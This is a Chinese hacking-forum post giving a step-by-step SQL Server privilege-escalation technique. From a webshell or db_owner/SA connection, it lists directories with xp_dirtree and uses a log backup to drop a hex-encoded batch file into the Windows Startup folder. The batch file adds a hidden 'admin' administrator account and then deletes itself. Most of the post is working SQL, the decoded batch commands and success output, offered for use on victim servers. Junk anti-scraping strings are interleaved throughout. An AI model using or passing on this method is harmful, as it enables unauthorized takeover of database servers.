中国网络渗透测试联盟
标题:
DB_OWNER.SA备份BAT到启动项提权
[打印本页]
作者:
admin
时间:
2013-2-14 00:08
标题:
DB_OWNER.SA备份BAT到启动项提权
下面只给出关键的代码:
: h8 w4 O. v! l" O; u
使用查询分析器或者webshell连接上数据库后按如下步骤操作即可:
0 V8 C8 u4 q% Y+ s3 C, ?
1.DB权限列目录
5 s2 U: O* T, `8 h
exec master..xp_dirtree ‘c:\’,1,1
: A9 M% |" E1 |6 s& E7 p3 T, k& @
使用以上语句可以实现db权限下列出磁盘目录
* v3 C* O1 O; p$ i% p
下面我们用备份的方式来备份一个BAT到启动项里
) Q5 v0 K! i: Y
——————————————————————————————————————————————————————–
1 m/ C9 Z1 [& y) Z$ H7 Q* C
alter database [abc] set RECOVERY FULL–
/ a- b: D: {6 J: Z4 W* ^
create table cmd (a image)–
. x! e# m! X( M) V+ R; [
backup log [abc] to disk = ‘c:\cmd1′ with init–
7 ^! |* u/ E6 m8 n
insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)–
3 w4 I# X9 H5 g0 p; i# J; s$ v( r$ s
backup log [abc] to disk = ‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat’–
% q) c' }/ O) d. }5 I1 W! W+ h
drop table cmd–
3 @: V: |; F: J3 r) z
——————————————————————————————————————————————————————–
$ W; V" j. L4 b* C* u, @
上面这几条SQL语句就是备份的语句.这里要注的是:
* K: P ~/ U8 e, K8 b
0x6E0065007400200075007300650072002000610064006D0069006E002000610064006D0069006E0020002F006100640064002000260020006E006500740020006C006F00630061006C00670072006F00750070002000610064006D0069006E006900730074007200610074006F00720073002000610064006D0069006E0020002F00610064006400200026002000640065006C002000730074006100720074002E00640061007400 这一句HEX加密的 是我们要打的命令 下面我告诉大家这个加密码的格式怎么用
2 r9 L, X; c6 |8 `% v6 _1 O, j
编辑一个加用户ADMIN的命令 并删除START.BAT
1 k+ k6 s- G+ a
@echo off
6 ?) G* X0 k1 w' M+ Y
@cd %windir% /*这里也可以CD到SYSTEM32目录*/
# w# X' ^7 w. h5 M# t! T# {8 K2 Q
@net user admin admin /add
, i* S6 x( T) H
@net localgroup administrators admin /add
# U2 ^* W! ~# ]+ e# i. Y- t
@del start.bat /*这一步删除了BAT文件*/
, C" J1 a) \) y2 `" y- c+ X4 m
@exit /*这一步退出CMD*/
9 N* t$ ~2 F5 J! u- x% v( J
@ /*最后这个@最好加上.要不会把你的上一句命令弄出错*/
% I k. J- b8 {! d
列数据库的命令:SELECT DB_NAME()
9 e4 D1 |# s9 H2 G
我这现在连接的库是abc
9 x4 P) H) |) F" t6 ~3 D s! l
那么我们要把备份语句中的库名换成当前库的名abc
8 s% h6 q# x8 H
执行上面SQL语句后返回如下信息:
) G& i5 t, h& m$ G
已处理 1 页,这些页属于数据库 abc的文件 abc_Log’(位于文件 1 上)。
o5 q# l' ^, |) i+ r% b
BACKUP LOG 操作成功地处理了 1 页,花费了 0.048 秒(0.160 MB/秒)。
* C$ M" M! h, ~, m
(1 row(s) affected)
, H1 f" w/ N; ~
已处理 1 页,这些页属于数据库 abc的文件 abc_Log’(位于文件 1 上)。
5 B4 ]+ p& d5 A
BACKUP LOG 操作成功地处理了 1 页,花费了 0.043 秒(0.083 MB/秒)。
, c" u$ I( s, a) @' f
说明我们备份成功了,到启动项里看看是不是多了一个bat文件,现在只等服务器重启并登陆后就会添加一个我们预先定义好的管理员账Я恕�
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2